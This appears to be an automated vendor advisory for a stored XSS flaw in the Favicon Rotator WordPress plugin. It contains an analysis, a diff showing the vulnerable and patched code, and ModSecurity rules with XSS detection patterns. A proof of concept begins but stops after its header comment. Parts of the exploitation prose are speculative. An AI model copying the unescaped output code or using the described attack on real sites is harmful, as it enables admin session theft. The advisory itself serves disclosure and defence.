Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 18, 2026

CVE-2026-42649: Favicon Rotator <= 1.2.11 – Unauthenticated Stored Cross-Site Scripting (favicon-rotator)

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.2.11
Patched Version 1.2.12
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42649: This is a stored cross-site scripting (XSS) vulnerability affecting the Favicon Rotator WordPress plugin versions up to and including 1.2.11. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator or other user views the favicon management page. The CVSS score is 7.2 (High).

The root cause lies in insufficient input sanitization and output escaping across multiple functions within the plugin’s administrative interface. Key vulnerable functions include `admin_page()` in `model.php` (lines 465-550), `the_attachment_filesize()` in `class.media.php` (line 734), and the icon display function at `model.php` line 414-420. The plugin directly outputs user-controllable values such as `$t->lbl_add`, `$t->lbl_title`, `$t->lbl_set`, attachment metadata, and the icon URL without proper escaping. In the vulnerable version, `the_attachment_filesize()` echoes the raw filesize string without `esc_html()`, and the icon display at line 418 passes the icon URL directly into `sprintf()` without `esc_url()`. The `admin_page()` function outputs numerous dynamic strings like `$t->lbl_title`, `$t->lbl_empty`, and file basenames without any escaping. Additionally, the plugin lacks proper authorization checks for the admin page; it uses `current_user_can(‘edit_theme_options’)` but the form action is processed without a nonce for the actual save operation, and attacker-controlled parameters like `$_REQUEST[‘type’]` on line 315 of `class.media.php` were escaped with `esc_attr()` rather than sanitized, which only escapes HTML but does not prevent XSS in other contexts.

Exploitation is straightforward. An attacker can inject malicious JavaScript into the plugin’s stored data by exploiting the lack of input sanitization when saving icon data. The plugin stores icon URLs and labels via the `fv_id_*` hidden fields in the admin form (line 556 of model.php). An attacker who can trick an authenticated administrator to submit a crafted icon URL (e.g., via a malicious file upload or by modifying the hidden field value) will cause the payload to be stored. Alternatively, if the plugin has a media upload endpoint that lacks authentication, the attacker can directly upload a file with malicious metadata or manipulate the parameters. The payload executes when the admin visits the Favicon Rotator settings page (typically `/wp-admin/themes.php?page=favicon-rotator`), because the plugin outputs the stored values without proper escaping. The vulnerable code paths include: `sprintf($t->display, $icon)` where `$icon` is the URL `echo`d without `esc_url()`, and `the_attachment_filesize()` which echoes the filesize without `esc_html()`.

The patch applies comprehensive input sanitization and output escaping. Key changes include: (1) In `model.php` line 418, the icon URL is now passed through `esc_url()` before being used in `sprintf()`. (2) The display output is wrapped in `wp_kses()` with an allowed tag whitelist. (3) In `class.media.php` line 734, `the_attachment_filesize()` now uses `esc_html()` to escape the output. (4) All `__()` calls now include the text domain parameter, and many `esc_attr()` calls were replaced with `sanitize_text_field()` or `esc_html()` as appropriate. (5) In the admin page form, labels such as `$t->lbl_title` and `$t->lbl_add` are now passed through `esc_html__()` or `esc_html_e()`. (6) The `$_SERVER[‘SCRIPT_NAME’]` values are sanitized via `sanitize_text_field()`. (7) The file basename in the admin list is now `esc_html()`. (8) Direct file access is blocked by adding `ABSPATH` checks at the beginning of every main file. (9) The JavaScript injection via `$_REQUEST[‘post_id’]` is now sanitized with `sanitize_key()`. (10) The `$_REQUEST[‘type’]` parameter is now sanitized with `sanitize_text_field()` instead of merely escaped.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the administrative context of a WordPress site. This can lead to session hijacking, credential theft, backdoor account creation, and full site takeover. The attacker can steal admin cookies, perform actions on behalf of the admin (such as installing malicious plugins or modifying theme files), and exfiltrate sensitive data. Because the vulnerability is stored, the injected script persists and affects any authenticated user who visits the plugin’s admin page, including site administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/favicon-rotator/includes/class.base.php
+++ b/favicon-rotator/includes/class.base.php
@@ -1,4 +1,8 @@
 <?php
+// Do not load directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 require_once 'class.utilities.php';

@@ -40,11 +44,7 @@
 	 * To be overriden by child classes
 	 */
 	function init() {
-		$func = 'register_hooks';
-		if ( isset($this) ) {
-			if ( method_exists($this, $func) )
-				call_user_method($func, $this);
-		}
+		$this->register_hooks();
 	}

 	function register_hooks() {
@@ -103,7 +103,7 @@
 	 * @return boolean Result of operation
 	 */
 	function post_meta_add($post_id, $meta_key, $meta_value, $unique = false) {
-		$meta_value = $this->post_meta_value_prepare($meta_value);
+		$meta_value = $this->post_meta_prepare_value($meta_value);
 		return add_post_meta($post_id, $meta_key, $meta_value, $unique);
 	}

@@ -179,5 +179,3 @@
 		return $wpdb->prefix . $this->get_prefix('_');
 	}
 }
-
-?>
 No newline at end of file
--- a/favicon-rotator/includes/class.media.php
+++ b/favicon-rotator/includes/class.media.php
@@ -1,4 +1,9 @@
 <?php
+// Do not load directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 require_once 'class.base.php';

 /**
@@ -113,7 +118,7 @@
 	 */
 	function add_intermediate_image_size($sizes) {
 		$p = $this->get_request_props();
-		if ( !!$p && $p->width && $p->height ) {
+		if ( (bool)$p && $p->width && $p->height ) {
 			$crop = true;
 			add_image_size($p->type_name, $p->width, $p->height, $crop);
 			$sizes[] = $p->type_name;
@@ -143,7 +148,7 @@
 		if ( $this->is_custom_media() ) {
 			$p = $this->get_request_props();
 			$filetypes = '*.' . implode(';*.', $p->file_type);
-			$types = esc_js($filetypes) . '",file_types_description: "' . esc_js(__($p->file_desc));
+			$types = esc_js($filetypes) . '",file_types_description: "' . esc_js( __( $p->file_desc, 'favicon-rotator' ) );
 		}
 		return $types;
 	}
@@ -154,7 +159,7 @@
 			$qv =& $q->query_vars;
 			$p = $this->get_request_props();
 			//Set GET variable when single mime type specified (for future queries)
-			if ( !!$p && isset($p->file_mime) && is_array($p->file_mime) )
+			if ( (bool)$p && isset($p->file_mime) && is_array($p->file_mime) )
 				$qv[$var] = $p->file_mime;
 		}
 	}
@@ -168,7 +173,7 @@
 	function upload_url($url, $type = null) {
 		$args = ( is_array($type) ) ? $type : array();
 		$custom = ( ( is_string($type) && 0 === strpos($type, $this->add_prefix('')) ) || !empty($args) ) ? true : $this->is_custom_media($url);
-		$p = parse_url($url);
+		$p = wp_parse_url($url);
 		$p = basename( ( isset($p['path']) ) ? $p['path'] : $url );
 		if ( strpos($p, 'media-upload.php') === 0 && $custom ) {
 			$defaults = array(
@@ -263,7 +268,7 @@
 			/* Send image data to main post edit form and close popup */
 			//Get Attachment ID
 			$args = new stdClass();
-			$args->id = esc_attr( $this->util->array_key_first( $_POST[ $this->var_setmedia ] ) );
+			$args->id = sanitize_key( $this->util->array_key_first( $_POST[ $this->var_setmedia ] ) );
 			//Make sure post is valid
 			if ( wp_attachment_is_image($args->id) ) {
 				$p = $this->get_request_props();
@@ -280,26 +285,25 @@
 				}
 			}

-			//Build JS Arguments string
-			$arg_string = array();
-			foreach ( (array)$args as $key => $val ) {
-				$arg_string[] = "'$key':'$val'";
-			}
-			$arg_string = '{' . implode(',', $arg_string) . '}';
+			// Build JS output.
+			ob_start();
 			?>
-			<script type="text/javascript">
-			/* <![CDATA[ */
-			var win = window.dialogArguments || opener || parent || top;
-			win.fvrt.media.setIcon(<?php echo $arg_string; ?>);
-			/* ]]> */
+			<script>
+			( function() {
+				var win = window.dialogArguments || opener || parent || top;
+				win.fvrt.media.setIcon( <?php echo wp_json_encode( $args, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES | JSON_FORCE_OBJECT ) ?> );
+			}() );
 			</script>
 			<?php
+			// Output inline JS.
+			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
 			exit;
 		}

 		//Handle HTML upload
 		if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
-			$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+			$post_id = isset( $_REQUEST[ 'post_id' ] ) ? sanitize_key( $_REQUEST[ 'post_id' ] ) : 0;
+			$id = media_handle_upload( 'async-upload', $post_id );
 			//Clear uploaded files
 			unset($_FILES);
 			if ( is_wp_error($id) ) {
@@ -311,7 +315,7 @@
 		//Display default UI

 		//Determine media type
-		$type = ( isset($_REQUEST['type']) ) ? esc_attr( $_REQUEST['type'] ) : $this->var_type;
+		$type = ( isset($_REQUEST['type']) ) ? sanitize_text_field( $_REQUEST['type'] ) : $this->var_type;
 		//Determine UI to use (disk or URL upload)
 		$upload_form = ( isset($_GET['tab']) && 'type_url' == $_GET['tab'] ) ? 'media_upload_type_url_form' : 'media_upload_type_form';
 		//Load UI
@@ -350,7 +354,8 @@
 						__( 'Manage PNG Images', 'favicon-rotator' ),
 						_n_noop(
 							'PNG Image <span class="count">(%s)</span>',
-							'PNG Images <span class="count">(%s)</span>'
+							'PNG Images <span class="count">(%s)</span>',
+							'favicon-rotator'
 						),
 					),
 					'image/gif'    => array(
@@ -358,7 +363,8 @@
 						__( 'Manage GIF Images', 'favicon-rotator' ),
 						_n_noop(
 							'GIF Image <span class="count">(%s)</span>',
-							'GIF Images <span class="count">(%s)</span>'
+							'GIF Images <span class="count">(%s)</span>',
+							'favicon-rotator'
 						),
 					),
 					'image/jpeg'   => array(
@@ -366,7 +372,8 @@
 						__( 'Manage JPG Images', 'favicon-rotator' ),
 						_n_noop(
 							'JPG Image <span class="count">(%s)</span>',
-							'JPG Images <span class="count">(%s)</span>'
+							'JPG Images <span class="count">(%s)</span>',
+							'favicon-rotator'
 						),
 					),
 					'image/x-icon' => array(
@@ -374,7 +381,8 @@
 						__( 'Manage ICO Images', 'favicon-rotator' ),
 						_n_noop(
 							'ICO Image <span class="count">(%s)</span>',
-							'ICO Images <span class="count">(%s)</span>'
+							'ICO Images <span class="count">(%s)</span>',
+							'favicon-rotator'
 						),
 					),
 				);
@@ -451,7 +459,7 @@
 				}

 				//Add "Set as Image" button (if valid attachment type)
-				$set_as = __( ( isset($q->lbl_set) ) ? $q->lbl_set : 'Set Media' );
+				$set_as = __( ( isset($q->lbl_set) ) ? $q->lbl_set : 'Set Media', 'favicon-rotator' );
 				$field_name = sprintf('%1$s[%2$s]', $this->var_setmedia, $post->ID);
 				$field_html = $this->util->build_input_element('submit', $field_name, $set_as, array('class' => 'button'));
 				$field = array(
@@ -485,14 +493,15 @@
 		if ( is_string($url) && !empty($url) )
 			$u = $url;
 		//Use referrer for async uploads
-		elseif ( 'async-upload' == basename($_SERVER['SCRIPT_NAME'], '.php') )
+		elseif ( 'async-upload' == basename( sanitize_text_field( $_SERVER['SCRIPT_NAME'] ?? '' ), '.php') )
 			$u = wp_get_referer();

 		if ( !is_null($u) ) {
 			//Parse referrer
-			$u = parse_url($u);
-			if ( isset($u['query']) )
-				parse_str($u['query'], $q);
+			$qstring = wp_parse_url( $u, PHP_URL_QUERY );
+			if ( !empty($qstring) ) {
+				wp_parse_str( $qstring, $q );
+			}
 		} else {
 			$q = $_REQUEST;
 		}
@@ -534,7 +543,7 @@
 		//Retrieve curren type as callback
 		if ( empty($p) ) {
 			$p = $this->get_type_current();
-			if ( !!$p )
+			if ( (bool)$p )
 				$p = get_object_vars($p);
 		}

@@ -725,7 +734,7 @@
 	 * @param bool $formatted (optional) Whether or not filesize should be formatted (kb/mb, etc.) (Default: TRUE)
 	 */
 	function the_attachment_filesize($post = null, $formatted = true) {
-		echo $this->get_attachment_filesize($post, $formatted);
+		echo esc_html( $this->get_attachment_filesize( $post, $formatted ) );
 	}

 	/**
@@ -802,7 +811,7 @@
 		$icon = !wp_attachment_is_image($media->ID);

 		//Get image properties
-		$attr = wp_parse_args($attr, array('alt' => trim(strip_tags( $media->post_excerpt ))));
+		$attr = wp_parse_args($attr, array('alt' => trim(wp_strip_all_tags( $media->post_excerpt ))));
 		list($attr['src'], $attribs['width'], $attribs['height']) = wp_get_attachment_image_src($media->ID, '', $icon);

 		switch ( $type ) {
@@ -928,7 +937,4 @@
 	function clear_type_current() {
 		$this->type_current = null;
 	}
-
-
 }
-?>
 No newline at end of file
--- a/favicon-rotator/includes/class.utilities.php
+++ b/favicon-rotator/includes/class.utilities.php
@@ -1,4 +1,8 @@
 <?php
+// Do not load directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Utility methods
@@ -63,7 +67,11 @@
 	 * @return bool TRUE if current page matches specified filename, FALSE otherwise
 	 */
 	function is_file( $filename ) {
-		return ( $filename == basename( $_SERVER['SCRIPT_NAME'] ) );
+		// Sanity check.
+		if ( !is_string( $filename ) || empty( $filename ) || !isset( $_SERVER[ 'SCRIPT_NAME'] ) ) {
+			return false;
+		}
+		return ( $filename == basename( sanitize_text_field( $_SERVER['SCRIPT_NAME'] ) ) );
 	}

 	/**
@@ -151,7 +159,7 @@
 	function get_file_extension($file) {
 		$ret = '';
 		$sep = '.';
-		if ( is_string($icon) && ( $rpos = strrpos($file, $sep) ) !== false )
+		if ( is_string($file) && ( $rpos = strrpos($file, $sep) ) !== false )
 			$ret = substr($file, $rpos + 1);
 		return $ret;
 	}
@@ -210,34 +218,34 @@
 	 * @return string Current action
 	 */
 	function get_action($default = null) {
-		$action = '';
+		// Retrieve action from URL.
+		$action = isset( $_GET[ 'action' ] ) ? sanitize_text_field( $_GET[ 'action' ] ) : '';

-		//Check if action is set in URL
-		if ( isset($_GET['action']) ) {
-			$action = esc_attr( $_GET['action'] );
-		}
-		//Otherwise, Determine action based on plugin plugin admin page suffix
-		elseif ( isset($_GET['page']) && ($pos = strrpos($_GET['page'], '-')) && $pos !== false && ( $pos != count($_GET['page']) - 1 ) )
-			$action = trim( esc_attr( substr( $_GET['page'], $pos + 1 ) ), '-_');
+		// Determine action based on plugin plugin admin page suffix.
+		if ( empty( $action ) && isset( $_GET[ 'page' ] ) ) {
+			$page = sanitize_text_field( $_GET[ 'page' ] );
+			$suffix_pos = strrpos( $page, '-' );
+			if ( $suffix_pos !== false && ( $suffix_pos != strlen( $page ) - 1 ) ) {
+				$action = trim( substr( $page, $suffix_pos + 1 ), '-_' );
+			}
+		}

-		//Determine action for core admin pages
-		if ( ! isset($_GET['page']) || empty($action) ) {
+		// Determine action for core admin pages.
+		if ( empty( $action ) && isset( $_SERVER[ 'SCRIPT_NAME' ] ) ) {
+			$page = basename( sanitize_text_field( $_SERVER['SCRIPT_NAME'] ), '.php' );
 			$actions = array(
 				'add'			=> array('page-new', 'post-new'),
 				'edit-item'		=> array('page', 'post'),
 				'edit'			=> array('edit', 'edit-pages')
 			);
-			$page = basename($_SERVER['SCRIPT_NAME'], '.php');
-
-			foreach ( $actions as $act => $pages ) {
-				if ( in_array($page, $pages) ) {
-					$action = $act;
-					break;
-				}
-			}
+			$action = array_find_key( $actions, function ( $pages ) use ( $page ) {
+				return in_array( $page, $pages );
+			});
 		}
-		if ( empty($action) )
+		// Fallback: Default action.
+		if ( empty($action) ) {
 			$action = $default;
+		}
 		return $action;
 	}

@@ -369,11 +377,31 @@
 	 * Checks if item at specified path in array is set
 	 * @param array $arr Array to check for item
 	 * @param array $path Array of segments that form path to array (each array item is a deeper dimension in the array)
+	 * @param mixed $item Optional. Reference to variable to pass path value back to.
 	 * @return boolean TRUE if item is set in array, FALSE otherwise
 	 */
-	function array_item_isset(&$arr, &$path) {
-		$f_path = $this->get_array_path($path);
-		return eval('return isset($arr' . $f_path . ');');
+	function array_item_isset($arr, $path, &$item = null) {
+		// Basic validation.
+		if ( !is_array($arr) || !is_array($path) || empty($arr) || empty($path) ) {
+			return false;
+		}
+		// Validate path keys.
+		if ( !array_all( $path, fn($val, $key) => ( is_string($val) || is_int($val) ) ) ) {
+			return false;
+		}
+		// Check if path keys exist in array.
+		$base = &$arr;
+		foreach ( $path as $key ) {
+			// Stop if key not set.
+			if ( !isset( $base[$key] ) ) {
+				return false;
+			}
+			// Set new base for next iteration.
+			$base = &$base[$key];
+		}
+		// All checks passed.
+		$item = $base;
+		return true;
 	}

 	/**
@@ -382,50 +410,13 @@
 	 * @param array $path Array of segments that form path to array (each array item is a deeper dimension in the array)
 	 * @return mixed Value of item in array (Default: empty string)
 	 */
-	function &get_array_item(&$arr, &$path) {
+	function get_array_item($arr, $path) {
 		$item = '';
-		if ($this->array_item_isset($arr, $path)) {
-			eval('$item =& $arr' . $this->get_array_path($path) . ';');
-		}
+		// Retrieve item.
+		$this->array_item_isset( $arr, $path, $item );
 		return $item;
 	}
-
-	function get_array_path($attribute = '', $format = null) {
-		//Formatted value
-		$fmtd = '';
-		if (!empty($attribute)) {
-			//Make sure attribute is array
-			if (!is_array($attribute)) {
-				$attribute = array($attribute);
-			}
-			//Format attribute
-			$format = strtolower($format);
-			switch ($format) {
-				case 'id':
-					$fmtd = array_shift($attribute) . '[' . implode('][', $attribute) . ']';
-					break;
-				case 'metadata':
-				case 'attribute':
-					//Join segments
-					$delim = '_';
-					$fmtd = implode($delim, $attribute);
-					//Replace white space and repeating delimiters
-					$fmtd = str_replace(' ', $delim, $fmtd);
-					while (strpos($fmtd, $delim.$delim) !== false)
-						$fmtd = str_replace($delim.$delim, $delim, $fmtd);
-					//Prefix formatted value with delimeter for metadata keys
-					if ('metadata' == $format)
-						$fmtd = $delim . $fmtd;
-					break;
-				case 'path':
-				case 'post':
-				default:
-					$fmtd = '["' . implode('"]["', $attribute) . '"]';
-			}
-		}
-		return $fmtd;
-	}
-
+
 	/**
 	 * Builds array of path elements based on arguments
 	 * Each item in path array represents a deeper level in structure path is for (object, array, filesystem, etc.)
@@ -456,20 +447,24 @@
 	}

 	/**
-	 * Builds attribute string for HTML element
-	 * @param array $attr Attributes
-	 * @return string Formatted attribute string
+	 * Builds attribute string for HTML element.
+	 * @param array $attrs Attributes.
+	 * @return string Formatted attribute string.
 	 */
-	function build_attribute_string($attr) {
+	function build_attribute_string($attrs) {
 		$ret = '';
-		if ( is_object($attr) )
-			$attr = (array) $attr;
-		if ( is_array($attr) ) {
-			array_map('esc_attr', $attr);
+		// Convert object to array.
+		if ( is_object($attrs) ) {
+			$attrs = (array) $attrs;
+		}
+		// Convert array to string of attributes and values.
+		if ( is_array($attrs) ) {
 			$attr_str = array();
-			foreach ( $attr as $key => $val ) {
-				$attr_str[] = $key . '="' . $val . '"';
+			// Build as array of strings.
+			foreach ( $attrs as $key => $val ) {
+				$attr_str[] = sprintf('%1$s="%2$s"', esc_attr($key), esc_attr($val));
 			}
+			// Merge strings into single string.
 			$ret = implode(' ', $attr_str);
 		}
 		return $ret;
@@ -719,7 +714,7 @@
 		foreach (func_get_args() as $msg) {
 			echo '<pre>';
 			if (is_scalar($msg) && !is_bool($msg)) {
-				echo htmlspecialchars($msg) . "<br />";
+				echo esc_html( $msg ) . "<br />";
 			} else {
 				var_dump($msg);
 			}
@@ -828,4 +823,4 @@
 			$out = $out[0];
 		return $out;
 	}
-}
 No newline at end of file
+}
--- a/favicon-rotator/main.php
+++ b/favicon-rotator/main.php
@@ -1,13 +1,29 @@
 <?php
-/*
-Plugin Name: Favicon Rotator
-Plugin URI: http://archetyped.com/tools/favicon-rotator/
-Description: Easily set site favicon and even rotate through multiple icons
-Version: 1.2.11
-Author: Archetyped
-Author URI: http://archetyped.com
-Text Domain: favicon-rotator
+/**
+ * Favicon Rotator
+ *
+ * @package Favicon Rotator
+ * @author Archetyped <support@archetyped.com>
+ * @copyright 2026 Archetyped
+ *
+ * Plugin Name: Favicon Rotator
+ * Plugin URI: http://archetyped.com/tools/favicon-rotator/
+ * Description: Easily set site favicon and even rotate through multiple icons
+ * License: GPLv2
+ * Version: 1.2.12
+ * Requires at least: 6.6
+ * Requires PHP: 8.2
+ * Text Domain: favicon-rotator
+ * Author: Archetyped
+ * Author URI: http://archetyped.com
+ * Support URI: https://github.com/archetyped/favicon-rotator/wiki/Reporting-Issues
 */

+
+// Do not load directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 require_once 'model.php';
-$fvrt = new FaviconRotator();
 No newline at end of file
+$fvrt = new FaviconRotator();
--- a/favicon-rotator/model.php
+++ b/favicon-rotator/model.php
@@ -1,4 +1,8 @@
 <?php
+// Do not load directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 require_once 'includes/class.base.php';
 require_once 'includes/class.media.php';
@@ -339,7 +343,7 @@
 			foreach ( $this->get_icon_type_names() as $itype ) {
 				$field = $field_base . $itype;
 				if ( isset($_POST[$field]) ) {
-					$icons[$itype] = explode( ',', esc_attr( $_POST[$field] ) );
+					$icons[$itype] = explode( ',', sanitize_text_field( $_POST[$field] ) );
 				}
 			}
 		}
@@ -410,7 +414,15 @@
 		//Display icon
 		if ( !is_null($icon) ) {
 			$t = $this->get_icon_type($type);
-			echo sprintf($t->display, $icon) . "rn";
+			$out = sprintf( $t->display, esc_url( $icon ) );
+			$allowed_tags = [
+				'link' => [
+					'rel' => true,
+					'href' => true,
+				],
+			];
+
+			echo wp_kses( $out, $allowed_tags ) . "rn";
 		}

 		//Update icons array (if necessary)
@@ -461,7 +473,7 @@
 	 */
 	function admin_page() {
 		if ( ! current_user_can('edit_theme_options') )
-			wp_die(__('You do not have permission to customize favicons.', 'favicon-rotator'));
+			wp_die( esc_html__('You do not have permission to customize favicons.', 'favicon-rotator') );

 		//Get saved icons
 		if ( isset($_POST['fv_submit']) )
@@ -469,6 +481,7 @@
 		$class = "button thickbox fv_btn";
 		//Setup query arguments
 		$filter = array('limit', 'lbl_title', 'lbl_add', 'lbl_empty', 'display');
+		$form_action = sanitize_url( $_SERVER[ 'REQUEST_URI' ] ?? '' );
 		$upload_args_base = array_diff(array_keys($this->icon_type_default_properties), $filter);
 		$upload_args_base[] = 'type_name';
 		$upload_args_map = array();
@@ -478,43 +491,49 @@

 		?>
 	<div class="wrap">
-		<h2><?php _e('Favicon Rotator', 'favicon-rotator'); ?></h2>
-		<form method="post" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>">
+		<h2><?php esc_html_e( 'Favicon Rotator', 'favicon-rotator' ); ?></h2>
+		<form method="post" action="<?php echo esc_url( $form_action ); ?>">
 		<?php foreach ( $this->get_icon_types() as $tname => $t ) : /* Output UI for icon types */
-			$icons = $this->get_icons($t->type_name);
+			$icons = $this->get_icons( $t->type_name );
 			$upload_args = array();
 			foreach ( $upload_args_map as $param => $prop ) {
-				if ( isset($t->$prop) )
+				if ( isset( $t->$prop ) )
 					$upload_args[$param] = $t->$prop;
 			}
+			$upload_link_escaped = sprintf(
+				'<a href="%1$s" class="%2$s" title="%3$s">%4$s</a>',
+				esc_url( $this->media->get_upload_iframe_src( 'image', $upload_args ) ), /* URL */
+				esc_attr( $class ), /* class */
+				esc_attr__( $t->lbl_add, 'favicon-rotator' ), /* title */
+				esc_html__( $t->lbl_add, 'favicon-rotator' ) /* content */
+			);
 		?>
-			<h3><?php _e($t->lbl_title); ?> <a href="<?php echo $this->media->get_upload_iframe_src('image', $upload_args); ?>" class="<?php echo esc_attr($class); ?>" title="<?php esc_attr_e($t->lbl_add); ?>"><?php echo esc_html_x($t->lbl_add, 'file')?></a></h3>
+			<h3><?php esc_html_e( $t->lbl_title, 'favicon-rotator' ); ?> <?php echo $upload_link_escaped; ?></h3>
 			<div class="fv_container">
-				<p id="fv_msg_empty_<?php echo $t->type_name; ?>"<?php if ( $icons ) echo ' style="display: none;"'?>><?php _e($t->lbl_empty); ?></p>
-				<ul id="fv_item_wrap_<?php echo $t->type_name; ?>" class="fv_item_wrap <?php echo ( is_null($t->limit) ) ? 'multi' : 'single'; ?>">
+				<p id="fv_msg_empty_<?php echo esc_attr( $t->type_name ); ?>"<?php if ( $icons ) echo ' style="display: none;"'?>><?php esc_html_e( $t->lbl_empty, 'favicon-rotator' ); ?></p>
+				<ul id="fv_item_wrap_<?php echo esc_attr( $t->type_name ); ?>" class="fv_item_wrap <?php echo ( is_null( $t->limit ) ) ? 'multi' : 'single'; ?>">
 				<?php foreach ( $icons as $icon ) : //List icons
-					$icon_srcs = $this->media->get_icon_src($icon->ID, $t->type_name);
-					$icon_src = array_shift($icon_srcs);
-					$icon_media = wp_get_attachment_image_src($icon->ID, 'full');
-					$src = array_shift($icon_media);
+					$icon_src = array_shift( $this->media->get_icon_src( $icon->ID, $t->type_name ) );
+					$icon_media = wp_get_attachment_image_src( $icon->ID, 'full' );
+					$src = array_shift( $icon_media );
 				?>
 					<li class="fv_item">
 						<div>
-							<img class="icon" src="<?php echo $icon_src; ?>" />
+							<img class="icon" src="<?php echo esc_url( $icon_src ); ?>" />
 							<div class="details">
-								<div class="name"><?php echo basename($src); ?></div>
+								<div class="name"><?php echo esc_html( basename( $src ) ); ?></div>
 								<div class="options">
-									<a href="#" id="<?php echo esc_attr('fv_id_' . $t->type_name . '_' . $icon->ID); ?>" class="remove">Remove</a>
+									<a href="#" id="<?php echo esc_attr( 'fv_id_' . $t->type_name . '_' . $icon->ID ); ?>" class="remove">Remove</a>
 								</div>
 							</div>
 						</div>
 					</li>
 				<?php endforeach; //End icon listing
-					unset($icon_srcs, $icon_src, $icon_media, $src);
+					unset( $icon_src, $icon_media, $src );
 				?>
 				</ul>
 				<div style="display: none">
-					<li id="fv_item_temp_<?php echo $t->type_name; ?>" class="fv_item">
+					<li id="fv_item_temp_<?php echo esc_attr( $t->type_name ); ?>" class="fv_item">
 						<div>
 							<img class="icon" src="" />
 							<div class="details">
@@ -527,10 +546,10 @@
 					</li>
 				</div>
 			</div>
-			<input type="hidden" id="fv_id_<?php echo $t->type_name; ?>" name="fv_id_<?php echo $t->type_name; ?>" value="<?php echo esc_attr($this->get_icon_ids_list($t->type_name)); ?>" />
+			<input type="hidden" id="fv_id_<?php echo esc_attr( $t->type_name ); ?>" name="fv_id_<?php echo esc_attr( $t->type_name ); ?>" value="<?php echo esc_attr( $this->get_icon_ids_list( $t->type_name ) ); ?>" />
 		<?php endforeach; /* END UI for icon types */ ?>
-			<?php wp_nonce_field($this->action_save); ?>
-			<p class="submit"><input type="submit" class="button-primary" name="fv_submit" value="<?php esc_attr_e('Save Changes', 'favicon-rotator'); ?>" /></p>
+			<?php wp_nonce_field( $this->action_save ); ?>
+			<p class="submit"><input type="submit" class="button-primary" name="fv_submit" value="<?php esc_attr_e( 'Save Changes', 'favicon-rotator' ); ?>" /></p>
 		</form>
 	</div>
 	<?php

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-42649
# Detects XSS payloads in the fvrt_set_media AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42649 XSS via AJAX set_media',severity:'CRITICAL',tag:'CVE-2026-42649'"
    SecRule ARGS_POST:action "@streq fvrt_set_media" "chain"
        SecRule ARGS_POST:fvrt_set_media "@rx (<|>|script|alert|prompt|onerror|onload|onclick|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onmouseover|onmouseout|onmousedown|onmouseup|ondblclick|onabort|onbeforeunload|onerror|onhashchange|onpageshow|onpopstate|onresize|onscroll|onstorage|onunload|onanimationend|onanimationiteration|onanimationstart|ontransitionend|onmessage|onoffline|ononline|onpointerdown|onpointermove|onpointerup|onpointercancel|ongotpointercapture|onlostpointercapture|ontouchcancel|ontouchend|ontouchmove|ontouchstart|onwheel|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|oncopy|oncut|onpaste|oninvalid|onformdata)" 
            "t:none,t:urlDecodeUni,t:lowercase"

# Also block XSS payloads in the icon ID parameter of the admin form
SecRule REQUEST_URI "@streq /wp-admin/themes.php" "chain,id:20261995,phase:2,deny,status:403,msg:'CVE-2026-42649 XSS via admin page icon parameter',severity:'CRITICAL',tag:'CVE-2026-42649'"
    SecRule ARGS_GET:page "@streq favicon-rotator" "chain"
        SecRule ARGS_POST:fv_id_icon "@rx (<|>|script|alert|prompt|onerror|onload|onclick|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onmouseover|onmouseout|onmousedown|onmouseup|ondblclick|onabort|onbeforeunload|onerror|onhashchange|onpageshow|onpopstate|onresize|onscroll|onstorage|onunload|onanimationend|onanimationiteration|onanimationstart|ontransitionend|onmessage|onoffline|ononline|onpointerdown|onpointermove|onpointerup|onpointercancel|ongotpointercapture|onlostpointercapture|ontouchcancel|ontouchend|ontouchmove|ontouchstart|onwheel|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|oncopy|oncut|onpaste|oninvalid|onformdata)" 
            "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42649 - Favicon Rotator <= 1.2.11 - Unauthenticated Stored Cross-Site Scripting

/*
 * This PoC demonstrates stored XSS by sending a malicious icon URL to the plugin's
